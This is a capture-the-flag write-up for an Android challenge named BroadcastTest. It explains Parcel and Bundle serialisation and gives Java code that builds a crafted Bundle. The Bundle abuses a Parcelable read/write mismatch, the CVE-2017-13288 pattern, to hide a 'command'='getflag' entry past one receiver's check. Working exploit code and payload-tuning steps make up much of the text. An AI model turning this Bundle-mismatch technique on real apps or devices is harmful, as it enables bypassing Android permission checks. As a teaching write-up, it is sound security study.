BroadcastTest

Writeup

background

We reverse the apk and find out that we only have 4 classes: MainActivity$Message, Receiver1-3. and MainActivity$Message implement from Parcelable class.

Receiver1 is exported. It receive global broadcast and send the bundle to Receiver2.

Receiver2 and Recevier3 isn't exported, so they can only receive broadcasts from this apk.

The procedure is

1. Receiver1 receive the data from broadcast, and decode it by base64, then marshall it to a bundle, and send it as a broadcast to Receiver2.
2. Receiver2 check the "command", assert value != 'getflag', then send it to Receiver3.
3. Receiver3 check the "command", assert value == 'getflag.

I search the parcel and bundle then find this article and CVE-2017-13288.

theory

Android can marshal an object by implementing from Parceable. The class must implement writeToParcel and readFromParcel method to describe how to marshal and unmarshal. Parcelable object needs to be taken by Bundle, which is a hashmap. Bundle can be put key-value by PutExtra(key, value). The type of value can be int, Boolean, String or Parcelable object etc.

// Keep in sync with frameworks/native/include/private/binder/ParcelValTypes.h.
    private static final int VAL_NULL = -1;
    private static final int VAL_STRING = 0;
    private static final int VAL_INTEGER = 1;
    private static final int VAL_MAP = 2;
    private static final int VAL_BUNDLE = 3;
    private static final int VAL_PARCELABLE = 4;
    private static final int VAL_SHORT = 5;
    private static final int VAL_LONG = 6;
    private static final int VAL_FLOAT = 7;

It will write len of total, magic number, and key-value pairs. From BaseBundle.writeToParcelInner:

int lengthPos = parcel.dataPosition();
parcel.writeInt(-1); // dummy, will hold length
parcel.writeInt(BUNDLE_MAGIC);
int startPos = parcel.dataPosition();
parcel.writeArrayMapInternal(map);
int endPos = parcel.dataPosition();
// Backpatch length
parcel.setDataPosition(lengthPos);
int length = endPos - startPos;
parcel.writeInt(length);
parcel.setDataPosition(endPos);

pacel.writeArrayMapInternal will write the number of hashmap, then key and value.

/**
   * Flatten an ArrayMap into the parcel at the current dataPosition(),
   * growing dataCapacity() if needed.  The Map keys must be String objects.
   */
  /* package */ void writeArrayMapInternal(ArrayMap<String, Object> val) {
...
      final int N = val.size();
      writeInt(N);
     ... 
      int startPos;
      for (int i=0; i<N; i++) {
          if (DEBUG_ARRAY_MAP) startPos = dataPosition();
          writeString(val.keyAt(i));
          writeValue(val.valueAt(i));
...

writeValue will write the type and value. If the type is Parceable, writing will call writeParcelable method, which call writeToParcel in Parcelable object.

public final void writeValue(Object v) {
        if (v == null) {
            writeInt(VAL_NULL);
        } else if (v instanceof String) {
            writeInt(VAL_STRING);
            writeString((String) v);
        } else if (v instanceof Integer) {
            writeInt(VAL_INTEGER);
            writeInt((Integer) v);
        } else if (v instanceof Map) {
            writeInt(VAL_MAP);
            writeMap((Map) v);
        } else if (v instanceof Bundle) {
            // Must be before Parcelable
            writeInt(VAL_BUNDLE);
            writeBundle((Bundle) v);
        } else if (v instanceof PersistableBundle) {
            writeInt(VAL_PERSISTABLEBUNDLE);
            writePersistableBundle((PersistableBundle) v);
        } else if (v instanceof Parcelable) {
            // IMPOTANT: cases for classes that implement Parcelable must
            // come before the Parcelable case, so that their specific VAL_*
            // types will be written.
            writeInt(VAL_PARCELABLE);
            writeParcelable((Parcelable) v, 0);

We can use this code to get the bytes from marshal.

Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, new MainActivity$Message()));
byte[] bs = {'a', 'a','a', 'a'};
bundle.putByteArray("AAA", bs);
Parcel testData = Parcel.obtain();
bundle.writeToParcel(testData, 0);
byte[] raw = testData.marshall();

writeStringwill put '\0' to the end of string. PAD_SIZE will make the length of unit be the multipiles of 4.

Exploit

MainActivity$Message is a class implementing from Parceable. There are two type-difference:

1. this.txRate = in.readInt();
   dest.writeByte((byte) this.txRate);
   

2. this.rttSpread = in.readLong();
   dest.writeInt((int) this.rttSpread);
   

Through test I found that the first type-difference which in byte and int will not create influence, because of PAD_SIZE. So the second type-difference will cover 4 bytes after Message object every times readFromParcel and writeToParcel.

The intent of this challenge is to hide a key-value pair 'command'='getflag', and expose it when it reads again.

The order of bundle is 'length of key, content of key, type of value, length of value, content of value'.

It means that the writing will cover length of key and make the first 4 bytes of origin content of key the new length of key.

So we can construct this payload:

The format of string is UTF-16, two bytes every char. type=0 means VAL_STRING.

Another need to do is that Receiver2 need bundle.getString("command")!=null, so we need another key-value pair 'command'='xxx'.

So one of the payloads is:

        Parcel a = Parcel.obtain();
        Parcel b = Parcel.obtain();
        a.writeInt(3);//Count
        a.writeString("mismatch");
        a.writeInt(4);//Parcable
        a.writeString("com.de1ta.broadcasttest.MainActivity$Message");
        a.writeString("bssid");
        a.writeInt(1);
        a.writeInt(2);
        a.writeInt(3);
        a.writeInt(4);
        a.writeInt(5);
        a.writeInt(6);
        a.writeInt(7);
        a.writeLong(8);
        a.writeInt(9);
        a.writeInt(10);
        a.writeInt(-1);
        a.writeLong(11);
        a.writeLong(12);
        a.writeLong(0x11223344);
        // fake map
        // \7\0 => hide_len_key
        // command\0 => hide_content_key
        // \0\0 => hide_type_value
        // \7\0 => hide_len_value
        // getflag\0 => hide_content_value
        a.writeString("\7\0command\0\0\0\7\0getflag");
        a.writeInt(0);//fake_type
        a.writeString("");//fake_value
        a.writeString("command");//for bundle.getString("command")!=null
        a.writeInt(0);
        a.writeString("gotflag");
        int len = a.dataSize();
        b.writeInt(len);
        b.writeInt(0x4c444E42);
        b.appendFrom(a, 0, len);
        b.setDataPosition(0);

        byte[] raw = b.marshall();
        String output = Base64.encodeToString(raw, 0);
        Log.i("test", output);

Other

I use this payload1 in match:

a.writeString("\7\0command\0\0\0\7\0getflag\0");
a.writeInt(0);//fake_type
a.writeString("1");//fake_value

But marshaling shows that fake_key contains 3 zero char after 'getflag'. It costs 6 bytes. I search it and find that writeString method will put '\0' to the end of string, then pad size.

But if I remove the zero, writeString("\7\0command\0\0\0\7\0getflag"), the end zero will be at the end. It costs 44 bytes without padding. The structure is

We can find the type_value2 is error. So we need to construct fake_value1="".

This is the payload2:

a.writeString("\7\0command\0\0\0\7\0getflag");
a.writeInt(0);//fake_type
a.writeString("");//fake_value

For validating my suppose, I use payload3:

a.writeString("\7\0command\0\0\0\7\0getflag\0\0");
a.writeInt(0);//fake_type
a.writeString("1");//fake_value

The bundle created by this payload should be the same as the bundle created by payload1 except length. Yes, it is. But Receiver3 refuse the bundle and raise a exception. I check it and find the order changed: '\7\0command...getflag\0\0'='1', Message, 'command'='gotflag' It means that the payload is correct but it covered 'command'='gotflag'.

And there is a warning in logcat:

>>W/ArrayMap: New hash -1841832101 is before end of array hash -1212575282 at index 1 key ��command��������getflag����

So the question is Bundle use Arraymap, whose order is decided by hash of the key. We change the key, the hash is changed. It needs to be lower than the hash of key of Message.

Here is the source:

    public void append(K key, V value) {
        int index = mSize;
        final int hash = key == null ? 0
                : (mIdentityHashCode ? System.identityHashCode(key) : key.hashCode());
        if (index >= mHashes.length) {
            throw new IllegalStateException("Array is full");
        }
        if (index > 0 && mHashes[index-1] > hash) {
            RuntimeException e = new RuntimeException("here");
            e.fillInStackTrace();
            Log.w(TAG, "New hash " + hash
                    + " is before end of array hash " + mHashes[index-1]
                    + " at index " + index + " key " + key, e);
            put(key, value);
            return;
        }

So I think the value of hash is important to pwn the vulnerability. The value of hash of key is -1841832101, so we just need to find a key with lower hash.

        String key = "mismatch";
        while(key.hashCode()>=-1841832101){
            key += ".";
        }
        a.writeString(key); // key of Message object

This is a project of AndroidStudio which can generate the exploit payload.